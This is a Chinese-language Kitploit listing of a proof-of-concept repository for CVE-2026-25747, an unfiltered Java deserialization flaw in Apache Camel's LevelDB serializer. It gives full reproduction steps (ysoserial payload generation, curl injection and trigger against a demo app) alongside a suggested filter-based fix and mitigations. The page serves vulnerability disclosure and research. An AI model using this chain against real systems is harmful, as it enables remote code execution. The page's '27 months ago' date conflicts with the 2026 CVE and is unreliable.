Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Camel LevelDB 反序列化漏洞 | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-25747
漏洞分析代码分析漏洞利用Web安全渗透测试学习与教育
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Camel LevelDB 反序列化漏洞

查看仓库
27个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

LevelDB 反序列化漏洞复现工具

本项目演示了 Apache Camel 的 LevelDB 聚合仓库(Aggregation Repository)中存在的 Java 反序列化漏洞,该漏洞类似于 CVE-2024-23114(该漏洞影响了 Cassandra 聚合仓库)。

漏洞概要

属性值
组件camel-leveldb
受影响类DefaultLevelDBSerializer.java
漏洞方法deserializeKey()、deserializeExchange()
CWECWE-502:不可信数据反序列化
影响远程代码执行 (RCE)
受影响版本所有版本,包括 4.17.0(截至测试时尚未修复)

技术细节

DefaultLevelDBSerializer 类直接使用原始 ObjectInputStream,未进行任何过滤:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

相比之下,已修复的 Cassandra 实现(自 Camel 4.4.0 起)如下:

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

环境要求

  • Java 17+
  • Maven 3.8+
  • ysoserial(用于生成有效载荷)

复现步骤

步骤 1:构建并启动应用程序

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

步骤 2:初始化 LevelDB 数据库

root@kitploit:~
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

预期输出:

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

步骤 3:生成恶意有效载荷

下载 ysoserial 并生成有效载荷:

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

步骤 4:将有效载荷注入 LevelDB

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

预期输出:

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

步骤 5:触发反序列化(RCE!)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

这将遍历所有键并调用 repo.get(),从而触发反序列化!

步骤 6:验证利用是否成功

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

如果文件 /tmp/pwned 存在,则说明漏洞利用成功!

攻击向量

该漏洞可通过多种途径触发:

  1. 应用程序重启:当 Camel 启动时,它会从 LevelDB 恢复未完成的聚合
  2. 恢复机制:周期性恢复扫描会对存储的 Exchange 进行反序列化
  3. 直接访问:对仓库的任何 get() 调用都会触发反序列化

利用条件

要成功利用漏洞,需要满足以下条件:

  1. LevelDB 写入权限:攻击者必须能够写入 LevelDB 数据库文件

    • 共享文件系统
    • 存储被入侵
    • 存在其他允许写入文件的漏洞
  2. Classpath 中存在 Gadget 库:必须存在包含可利用 gadget 链的库

    • commons-collections:3.2.1(CommonsCollections1-7 gadgets)
    • org.springframework:spring-core(Spring gadgets)
    • 其他许多库(参见 ysoserial)

与 CVE-2024-23114 的对比

建议的修复方案

采用与 Cassandra 相同的修复方式:

  1. 使用 ClassLoadingAwareObjectInputStream 代替原始 ObjectInputStream
  2. 添加可配置的 ObjectInputFilter,并设置安全的默认值
  3. 默认过滤器:"java.**;org.apache.camel.**;!*"

DefaultLevelDBSerializer.java 的修复示例:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

缓解措施

在官方发布修复之前,建议采取以下措施:

  1. 限制文件访问:确保 LevelDB 文件仅可由 Camel 应用程序写入
  2. 移除 gadget 库:如果可能,移除或升级存在漏洞的库,如 commons-collections 3.x
  3. 使用替代序列化器:配置 JacksonLevelDBSerializer 代替 DefaultLevelDBSerializer
  4. 网络分段:隔离使用 LevelDB 聚合的系统

文件结构

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

免责声明

本复现工具仅供 安全研究与授权测试 使用。未经明确许可,请勿将其用于任何系统。

下载工具
方面Cassandra(CVE-2024-23114)LevelDB(本问题)
状态已在 4.4.0 中修复在 4.17.0 中未修复
ObjectInputStream使用 ClassLoadingAwareObjectInputStream使用原始 ObjectInputStream
反序列化过滤器"java.**;org.apache.camel.**;!*"无
JIRACAMEL-20306尚未提交